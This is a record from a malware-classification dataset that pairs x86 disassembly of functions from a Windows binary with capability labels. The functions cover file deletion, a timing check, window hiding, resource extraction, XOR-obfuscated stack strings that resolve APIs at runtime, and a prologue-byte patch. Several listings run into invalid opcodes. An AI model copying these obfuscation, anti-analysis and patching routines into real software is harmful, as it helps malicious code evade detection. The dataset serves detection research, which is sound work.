joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a87
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 0xc]
movsx eax, byte [eax]
test eax, eax
jne 0x403aa1
xor eax, eax
jmp 0x403ba1
push dword [ebp + 8]
call fcn.004038de
pop ecx
push 0x42320c
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
lea eax, [ebp - 0x41c]
push eax
call fcn.00413194
push dword [ebp + 0xc]
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
add eax, 0x2a6
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
movsx eax, byte [ebp - 0x314]
test eax, eax
jne 0x403b55
push 0x105
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x314]
push eax
call fcn.00413194
push str.IsUninst.exe
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x423254
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
add eax, 0x13d
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x314]
push eax
push 0xffffffffffffffff
push 1
push str.UninstallString
lea eax, [ebp - 0x41c]
push eax
push dword [0x4230f8]
call fcn.00415e1c
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add eax, 0x242
push eax
push 0xffffffffffffffff
push 1
push str.DisplayName
lea eax, [ebp - 0x41c]
push eax
push dword [0x4230f8]
call fcn.00415e1c
push 1
pop eax
leave
ret

Function at 0x406d71
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push dword [ebp + 8]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
lea eax, [ebp - 0x214]
push eax
call fcn.00413194
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0xc]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x406e53
push 1
pop eax
test eax, eax
je 0x406e53
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406e3d
jmp 0x406e53
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x406ded
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop eax
leave
ret
Function at 0x406efe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push edi
and dword [ebp - 0xc], 0
and byte [ebp - 0x90], 0
push 0x20
pop ecx
xor eax, eax
lea edi, [ebp - 0x8f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
and byte [ebp - 0x198], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x197]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0x17
cmp dword [0x427530], 0
jne 0x406f4b
cmp dword [ebp + 0x18], 0
jne 0x406f52
mov dword [ebp - 4], 2
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x406f7e
push 0x426750
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
jl 0x406f7e
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
jne 0x406fa3
push 0x105
push 0x426750
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Start_MenuPrograms
push 0x426750
call fcn.00414a32
push dword [ebp + 8]
call fcn.004140e0
test eax, eax
jne 0x406fd6
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x5c
je 0x406fd6
push dword [ebp + 8]
push 0x426750
push dword [ebp + 0x10]
call fcn.00414a52
push 1
push dword [ebp + 0x10]
call fcn.00413194
jmp 0x406fec
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
push dword [ebp + 0x10]
call fcn.00413194
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push dword [ebp + 0x14]
call fcn.00414a52
lea eax, [ebp - 0x90]
push eax
push dword [ebp + 0xc]
call fcn.004142d0
push 0x4234b0
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40702d
push str..lnk
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
pop eax
pop edi
leave
ret

Function at 0x4080be
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
cmp dword [0x42752c], 0
je 0x4080d8
push 1
pop eax
jmp 0x4081b2
lea eax, [ebp - 0x428]
push eax
push dword [ebp + 8]
call fcn.004131ec
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
call fcn.004130de
push 0x105
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 1
lea eax, [ebp - 0x218]
push eax
call fcn.00413194
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.00413194
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x408141
push 1
pop eax
jmp 0x4081b2
mov dword [ebp - 8], 0x579
push 0x105
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 8]
push dword [0x4270c8]
call dword [sym.imp.USER32.dll_LoadStringA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4081af
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x408188
xor eax, eax
jmp 0x4081b2
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
push 0x105
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 8]
push dword [0x4270c8]
call dword [sym.imp.USER32.dll_LoadStringA]
mov dword [ebp - 4], eax
jmp 0x408166
push 1
pop eax
leave
ret
Function at 0x4082c3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
push edi
and byte [ebp - 0x108], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
and byte [ebp - 0x318], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x317]
rep stosd dword es:[edi], eax
and byte [ebp - 0x210], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [0x4270c8], eax
mov eax, dword [0x4270c8]
mov dword [0x427410], eax
and dword [0x427538], 0
and dword [0x427534], 0
and dword [0x42752c], 0
and dword [0x427528], 0
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.004136b0
push 0x105
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_OemToCharA]
push 0x427420
lea eax, [ebp - 0x108]
push eax
call fcn.004130de
push 0x427420
call fcn.0041367a
call fcn.004094e3
call fcn.004093b0
push dword [ebp + 0x10]
call fcn.00408766
pop ecx
call fcn.00409783
test eax, eax
jne 0x4083bd
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
call fcn.004094a0
xor eax, eax
jmp 0x408507
cmp dword [0x4273fc], 0
je 0x408411
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x31c], eax
push dword [ebp + 8]
call fcn.0040908b
pop ecx
test eax, eax
jne 0x4083f7
call fcn.004094a0
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
xor eax, eax
jmp 0x408507
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x31c]
cmp eax, 0x7d0
jae 0x40840c
jmp 0x4083f7
call fcn.00409040
call fcn.004086d6
test eax, eax
jne 0x408432
call fcn.004094a0
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
xor eax, eax
jmp 0x408507
cmp dword [0x4273f4], 0
jne 0x408465
cmp dword [0x4273f0], 0
jne 0x408465
cmp dword [0x4273f8], 0
jne 0x408465
call fcn.004094a0
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
xor eax, eax
jmp 0x408507
cmp dword [0x427548], 0
jne 0x40847f
push dword [0x427540]
push dword [0x427544]
call fcn.00416ab5
lea eax, [ebp - 0x318]
push eax
push dword [0x426988]
call fcn.00403ea6
test eax, eax
je 0x4084ca
push dword [0x426988]
push 0
lea eax, [ebp - 0x318]
push eax
push 0xfffffffffffffff8
call fcn.00408cc2
call fcn.00416ba3
call fcn.00408748
call fcn.004094a0
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
xor eax, eax
jmp 0x408507
call fcn.00409ab6
call fcn.004085ff
mov dword [ebp - 0x320], eax
push dword [ebp - 0x320]
call fcn.00409b1d
pop ecx
call fcn.00416ba3
call fcn.00408748
call fcn.004094a0
lea eax, [ebp - 0x210]
push eax
call fcn.0041367a
mov eax, dword [ebp - 0x320]
pop edi
leave
ret 0x10

Function at 0x409040
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push dword [0x42698c]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x42698c]
call dword [sym.imp.USER32.dll_DestroyWindow]
cmp dword [0x426990], 0
je 0x409072
push dword [0x426990]
call dword [sym.imp.GDI32.dll_DeleteObject]
cmp dword [0x426994], 0
je 0x409087
push dword [0x426994]
call dword [sym.imp.GDI32.dll_DeleteObject]
xor eax, eax
pop ebp
ret
Function at 0x40908b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
and dword [0x426994], 0
push 0x1d4c
push dword [0x4270c8]
call dword [sym.imp.USER32.dll_LoadBitmapA]
mov dword [0x426990], eax
cmp dword [0x426990], 0
jne 0x4090eb
push 0x426994
call fcn.00409574
pop ecx
mov dword [0x426990], eax
cmp dword [0x426990], 0
jne 0x4090eb
push 0x10
push str.Error
push str.Unable_to_locate_process_internal_binary_resource.__Please_contact_your_software_vendor.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x40920c
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x48], 0x40920e
and dword [ebp - 0x44], 0
and dword [ebp - 0x40], 0
mov eax, dword [0x4270c8]
mov dword [ebp - 0x3c], eax
push 0x3e8
push dword [0x4270c8]
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x38], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x34], eax
and dword [ebp - 0x30], 0
and dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0x423880
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x409154
xor eax, eax
jmp 0x40920c
lea eax, [ebp - 0x24]
push eax
push 0x18
push dword [0x426990]
call dword [sym.imp.GDI32.dll_GetObjectA]
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [ebp - 0x20]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 8], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [ebp - 0x1c]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xc], eax
push 0
push dword [0x4270c8]
push 0
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0xc]
push dword [ebp - 8]
push 0x80800000
push str.DeIsAbtWinName
push str.DeIsAbtClsName
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4091d8
xor eax, eax
jmp 0x40920c
mov eax, dword [ebp - 4]
mov dword [0x42698c], eax
push 0x13
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
pop eax
leave
ret
Function at 0x409574
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
mov eax, dword [ebp + 8]
and dword [eax], 0
and dword [ebp - 0xa8], 0
call fcn.00409998
test eax, eax
je 0x4095b1
push 0x3e8
push 0x3e9
push dword [0x4270c8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xac], eax
jmp 0x4095cd
push 0x3e8
push 0x3e8
push dword [0x4270c8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jne 0x4095dd
xor eax, eax
jmp 0x409781
push dword [ebp - 0xac]
push dword [0x4270c8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0xac]
push dword [0x4270c8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x409623
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
jmp 0x409781
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xa8]
add eax, 0x64
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x409651
xor eax, eax
jmp 0x409781
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0xb0], eax
and dword [ebp - 0xb4], 0
jmp 0x409676
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0xa8]
jge 0x40969f
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xb4]
mov cl, byte [ecx]
mov byte [eax], cl
jmp 0x409669
push 1
push 0xaf325de9
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
call fcn.00409c81
push 0x105
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x1c0]
push eax
call fcn.00413194
push str._bmp23_.bm_
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1001
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [ebp - 0xb8], eax
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
push dword [ebp - 0xb8]
call dword [sym.imp.KERNEL32.dll__hwrite]
push dword [ebp - 0xb8]
call dword [sym.imp.KERNEL32.dll__lclose]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c0]
push eax
call section..text
mov dword [ebp - 0x1c4], eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.0040ac18
cmp dword [ebp - 0x1c4], 0
je 0x409776
xor eax, eax
jmp 0x409781
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x409875
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 4], 1
cmp dword [0x427530], 0
je 0x409897
mov dword [ebp - 4], 1
jmp 0x409993
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040986c
test eax, eax
je 0x4098b4
mov dword [ebp - 4], 7
jmp 0x409993
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1e6
ja 0x4098ef
cmp dword [ebp - 0x34], 0x1e6
je 0x409968
cmp dword [ebp - 0x34], 0x182
je 0x409968
jmp 0x409993
cmp dword [ebp - 0x34], 0x259
ja 0x409913
cmp dword [ebp - 0x34], 0x259
je 0x40998c
cmp dword [ebp - 0x34], 0x24a
je 0x409968
jmp 0x409993
cmp dword [ebp - 0x34], 0x26c
ja 0x409939
cmp dword [ebp - 0x34], 0x26c
je 0x40998c
cmp dword [ebp - 0x34], 0x25b
jb 0x409993
cmp dword [ebp - 0x34], 0x25c
jbe 0x40998c
jmp 0x409993
cmp dword [ebp - 0x34], 0x35c
je 0x409971
cmp dword [ebp - 0x34], 0x7d0
je 0x40997a
cmp dword [ebp - 0x34], 0xbb8
je 0x40997a
cmp dword [ebp - 0x34], 0xfa0
je 0x40997a
cmp dword [ebp - 0x34], 0x5248
je 0x409983
jmp 0x409993
mov dword [ebp - 4], 2
jmp 0x409993
mov dword [ebp - 4], 2
jmp 0x409993
mov dword [ebp - 4], 4
jmp 0x409993
mov dword [ebp - 4], 3
jmp 0x409993
mov dword [ebp - 4], 5
mov eax, dword [ebp - 4]
leave
ret

Function at 0x40b236
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.0040ae45
push eax
push esi
push dword [ebp + 8]
call fcn.0040adfa
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
loop 0x40b2e0

Function at 0x40b28c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
loop 0x40b2e0
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040ae45
push eax
push esi
push dword [ebp + 8]
call fcn.0040adfa
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040ae35
aad 0x40
call ebp
inc eax
ja 0x40b2b2
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.0040ae35
invalid
Function at 0x40b64d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
and byte [ebp - 0x353], 0
mov byte [ebp - 0x352], 0xda
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57

Function at 0x40b687
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0040ae45
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040adfa
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040ae45
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040adfa
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040ae45
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040adfa
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040ae35
loope 0x40b909
add esi, dword [edx - 0x80]
movsd dword es:[edi], dword [esi]
int3
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0040ae45
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040adfa
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0040ae35
pop eax
lcall 0xf99c, 0xa5801b77
invalid
Function at 0x40bb1b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
aam 1
add byte [eax], al
cmp dword [ebp + 0xc], 1
je 0x40bcf3
cmp dword [ebp + 0xc], 8
jne 0x40bcbb
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.0040ae45
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040adfa
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.0040ae35
mov bh, 0xa9
dec ebp
cmp bh, 0xb5
push 0x8dfffff9
test dword [eax - 7], eax
invalid
call fcn.0040ae35
daa
and ah, 0x36
and byte [ebp - 0x544], 0
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.0040ae35
lahf
sbb byte [0xd0a580dc], 0xfd
invalid
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040ae13
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
invalid
invalid
cmpsb byte [esi], byte es:[edi]
cld